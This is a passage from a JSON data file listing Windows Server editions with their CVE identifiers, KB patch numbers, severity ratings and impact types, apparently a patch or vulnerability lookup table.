Execution"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070883","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099538","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099538","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601345","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005030","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039217","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070883","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099538","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099538","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2022":[{"cve":"CVE-2021-22947","kb":"5009555","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5005575","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005575","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-45985","kb":"5044281","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015827","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014678","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-35737","kb":"5034129","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029250","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025230","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073457","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032198","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031364","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039227","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034770","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041160","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5042881","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048654","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044281","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049983","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053603","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053603","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055526","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058385","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058385","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060526","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066782","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062572","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063880","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070884","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099540","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099540","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122882","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122882","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2022 (Server Core installation)":[{"cve":"CVE-2021-22947","kb":"5009555","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5005575","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005575","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-45985","kb":"5044281","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015827","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014678","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-35737","kb":"5034129","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029250","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025230","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073457","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032198","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031364","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039227","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034770","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041160","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5042881","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048654","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044281","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049983","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053603","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053603","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055526","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058385","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058385","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060526","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066782","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062572","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063880","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070884","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122882","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122882","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2022, 23H2 Edition (Server Core installation)":[{"cve":"CVE-2021-45985","kb":"5044288","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-2804","kb":"5075897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-31096","kb":"5073450","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039236","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041573","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043055","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048653","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044288","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049984","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049984","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053599","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053599","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053599","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053599","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055527","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058384","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058384","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060118","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066780","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063899","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063899","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070879","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082060","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082060","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2025":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070881","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-45585","kb":"5094125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2026-50475","kb":"5099536","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099536","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122871","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2025 (Server Core installation)":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070881","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-45585","kb":"5094125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2026-50475","kb":"5099536","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099536","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122871","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1709 (Server Core Installation)":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of 